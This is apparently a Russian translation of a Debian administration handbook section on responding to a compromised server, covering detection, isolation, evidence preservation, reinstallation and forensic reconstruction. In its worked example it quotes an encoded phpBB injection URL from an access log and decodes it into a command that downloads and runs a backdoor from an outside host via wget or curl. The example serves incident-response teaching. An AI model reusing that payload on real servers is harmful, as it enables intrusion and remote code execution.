14.7. Работа с компрометированной машиной
Несмотря на лучшие намерения и тем не менее тщательно разработанные политики безопасности, администратор в конечном итоге сталкивается с актом угона. Этот раздел содержит несколько руководящих принципов относительно того, как реагировать на эти прискорбные обстоятельства.
14.7.1. Обнаружение вторжения крэкера
Первый шаг реагирования на крэкинг - это знать о таком акте. Это не очевидно, особенно без надлежащей инфраструктуры мониторинга.
Взлом часто не обнаруживается до тех пор, пока не возникает прямых последствий для законных сервисов, размещённых на машине, например замедление подключений, некоторые пользователи не могут подключиться или любой другой тип неисправности. Столкнувшись с этими проблемами, администратор должен хорошо исследовать машину и тщательно изучить то, что плохо себя ведёт. Обычно это время, когда они обнаруживают необычный процесс, например, один названный apache вместо стандартного /usr/sbin/apache2. Если следовать этому примеру, вещь, которую нужно сделать, это отметить идентификатор процесса и проверить /proc/pid /exe, чтобы увидеть, какая программа в настоящее время работает:
# ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc
Программа, установленная в /var/tmp/ и работающая как веб-сервер? Без сомнения, машина скомпрометирована.
Это только один пример, но многие другие подсказки могут быть "звоночками" для администратора:
команда, которая внезапно показывает ошибки сегментации;
программа, которая использует все ядра процессора или память;
возможность для команды, которая больше не работает; версия программного обеспечения, которое команда утверждает, не соответствует версии, которая должна быть установлена согласно dpkg;
командная строка или приветствие сеанса, указывающее, что последнее соединение происходит от неизвестного сервера на другом континенте;
ошибки, вызванные переполненным разделом /tmp/ из-за незаконных копий фильмов;
и так далее.
14.7.2. Перевод сервера в автономный режим
В любых, кроме самых экзотических случаев, взлом происходит из сети, и злоумышленнику нужна рабочая сеть для достижения своих целей (доступ к конфиденциальным данным, шаринг незаконных файлов, скрытие своей личности, используя машину в качестве релея и так далее). Выключение компьютера из сети предотвратит достижение злоумышленником этих целей, если ему ещё не удалось это сделать.
Это может быть возможно только в том случае, если сервер физически доступен. Когда сервер размещён в центре данных хостинг-провайдера на полпути через всю страну, или если сервер недоступен по какой-либо другой причине, обычно хорошая идея - начать с сбора важной информации (см.
Раздел 14.7.3, «Сохранить всё, что может быть использовано как доказательство»,
Раздел 14.7.5, «Судебный анализ (форензика)» и
Раздел 14.7.6, «Изменение сценария атаки»), и изолировать этот сервер как можно больше, закрывая как можно больше сервисов (обычно, все, кроме
sshd ). Этот случай достаточно неуклюж, так как нельзя исключать возможность того, что злоумышленник имеет доступ к SSH, как у администратора; это затрудняет "чистку" машин. Если возможно и если провайдер поддерживает это, сервер можно перевести в автономный режим и получить доступ к нему через интерфейс KVM / IPMI провайдеров или их консоль восстановления. Если затронутая машина является виртуальной машиной, следует немедленно сделать снимок, чтобы обезопасить доказательства.
14.7.3. Сохранить всё, что может быть использовано как доказательство
Понимание атаки и/или привлечения юридических действий против злоумышленников требует получения копий всех важных элементов; это включает в себя содержание жёсткого диска, список всех запущенных процессов и список всех открытых соединений. Содержание RAM также может быть использовано, но оно редко используется на практике.
В пылу действий администраторы часто испытывают соблазн выполнять много проверок на скомпрометированном компьютере; это обычно не хорошая идея. Каждая команда потенциально разрушительна и может стереть части доказательств. Проверка должна быть ограничена минимальным набором (netstat -tupan для сетевых соединений, ps auxf для списка процессов, ls -alR /proc/[0-9]* для получения информации о запущенных программах), и каждая выполненная проверка должна быть тщательно записана.
Как только “динамические” элементы будут сохранены, следующий шаг - сохранить полный образ жёсткого диска. Создание такого образа невозможно, если файловая система всё ещё изменяется, поэтому её необходимо перемонтировать только для чтения. Самое простое решение часто заключается в том, чтобы жёстко остановить сервер (после запуска sync ) и перезагрузить его со спасательного компакт-диска. Каждый раздел должен быть скопирован таким инструментом, как dd; эти образы могут быть отправлены на другой сервер (очень удобным инструментом nc. Другая возможность может быть ещё проще: просто изымите диск из машины и замените его новым, который можно переформатировать и переустановить ОС. Большинство поставщиков серверов предлагают так называемую консоль восстановления, которая по сути обеспечивает ту же функциональность, что и компакт-диск для восстановления.
Сервер не должен вводиться в эксплуатацию без полной переустановки. Если компромисс был суровым (административные привилегии были получены), то практически нет другого способа, чтобы быть уверенным, что мы избавимся от всего, что мог оставить нападавший (особенно бэкдоры. Конечно, все последние обновления безопасности также должны быть применены, чтобы исключить уязвимость, использовавшуюся злоумышленником. В идеале, анализ атаки должен указывать на этот вектор атаки для уверенности в закрытии уязвимости; в противном случае можно только надеяться, что уязвимость была исправлена обновлениями.
Переустановка удалённого сервера не всегда проста; это может быть связано с помощью хостинговой компании, поскольку не все такие компании предоставляют автоматизированные системы переустановки или удалённые консоли (хотя эти случаи должны быть редкими). Следует позаботиться о том, чтобы не переустановливать машину из резервных копий, снятых позже даты компрометации. В идеале, только данные должны быть восстановлены, фактическое программное обеспечение должно быть переустановлено с установочных носителей.
14.7.5. Судебный анализ (форензика)
Теперь, когда сервис был восстановлен, пришло время более внимательно посмотреть на диск образа скомпрометированной системы, чтобы понять вектор атаки. При монтировании этих образов следует позаботиться об использовании опций ro,nodev,noexec,noatime, чтобы избежать изменения содержимого (включая временные параметры доступа к файлам) или запуска скомпрометированных программ по ошибке.
Прослеживание сценария атаки обычно включает в себя поиск всего, что было изменено и исполнено:
.bash_history файлы часто содержат очень интересный материал для чтения;
так как перечисляет список файлов, которые были недавно созданы, изменены или доступны;
команда strings помогает определить программы, установленные злоумышленником, извлекая текстовые строки из двоичного кода;
файлы журналов в /var/log/ часто позволяют реконструировать хронологию событий;
сравнение системы с последней известной нескомпрометированной резервной копией может быстро выявить изменения, оставленные злоумышленником, например добавленные, изменённые или удалённые файлы;
инструменты специального назначения также позволяют восстановить содержимое потенциально удалённых файлов, включая файлы журналов, которые злоумышленники часто удаляют.
Some of these operations can be made easier with specialized software. In particular, the
sleuthkit package provides many tools to analyze a filesystem. Their use is made easier by the
Autopsy Forensic Browser graphical interface (in the
autopsy package). Some Linux distributions have a “live install” image and contain many programs for forensic analysis, such as Kali Linux (see
Раздел A.8, «Kali Linux»), with its
forensic mode, BlackArchLinux, and the commercial Grml-Forensic, based on Grml (see
Раздел A.6, «Grml»).
14.7.6. Изменение сценария атаки
Все элементы, собранные во время анализа, должны соединиться, как куски в головоломке; создание первых подозрительных файлов часто коррелирует с журналами, доказывающими нарушение. Реальный пример должен быть более явным, чем длинные теоретические сплетни.
Следующий журнал - это выдержка из Apache access.log:
www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
Этот пример соответствует эксплуатации старой уязвимости безопасности в PHPBB
Декодирование этого длинного URL приводит к пониманию того, что злоумышленнику удалось запустить какой-то PHP-код, а именно: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). Действительно, файл bd был найден в /tmp/. Запуск strings /mnt/tmp/bd вернул среди других строк PsychoPhobia Backdoor starting... Это действительно похоже на backdoor.
Некоторое время спустя этот доступ был использован для загрузки, установки и запуска IRC bot, который был подключен к underground сети IRC. Затем бот мог управляться с помощью этого протокола и получил задание загрузить файлы для обмена. Эта программа даже имеет свой собственный файл журнала:
** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
** 2004-11-29-19:50:15: DCC CHAT попытка авторизации от GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT
** 2004-11-29-19:50:15: DCC CHAT получил от GAB, попытка соединения с 82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT соединение успешно, аутентификация
** 2004-11-29-19:50:20: DCC CHAT Верный пароль
(...)
** 2004-11-29-19:50:49: DCC Передача Подтверждена от ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Передача Подтверждена от GAB: La_tela_dell_assassino.avi (666615KB)
(...)
** 2004-11-29-21:10:36: DCC Upload: Передача завершена (666615 KB, 1 hr 24 sec, 183.9 KB/sec)
(...)
** 2004-11-29-22:18:57: DCC Upload: Передача завершена (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)
Эти следы показывают, что два видеофайла были сохранены на сервере по IP-адресу 82.50.72.202.
Параллельно злоумышленник также загрузил пару дополнительных файлов, /tmp/pt и /tmp/loginx. Запуск этих файлов через strings приводит к таким строкам, как Shellcode placed at 0x%08lx и Now wait for suid shell.... Это похоже на программы, эксплуатирующие локальные уязвимости для получения административных привилегий. Они достигли своей цели? В этом случае, вероятно, нет, поскольку ни один файл не был изменён после первоначального нарушения.
В этом примере всё вторжение было реконструировано, и можно сделать вывод, что злоумышленник смог воспользоваться скомпрометированной системой в течение примерно трёх дней; но самым важным элементом анализа является то, что уязвимость была выявлена, и администратор может быть уверен, что новая установка действительно исправит уязвимость.
